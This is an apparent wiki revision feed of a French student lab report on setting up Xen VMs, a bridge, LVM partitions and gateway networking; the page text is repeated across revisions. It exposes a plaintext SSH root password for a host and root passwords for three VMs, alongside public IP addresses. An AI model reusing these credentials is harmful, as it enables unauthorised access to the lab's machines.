&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.161&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11372</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11372"/>
		<updated>2026-01-26T08:11:58Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* De nouveaux sur capbreton */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.177/24&lt;br /&gt;
        gateway 193.48.57.161&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11371</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11371"/>
		<updated>2026-01-26T08:11:41Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* XEN */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
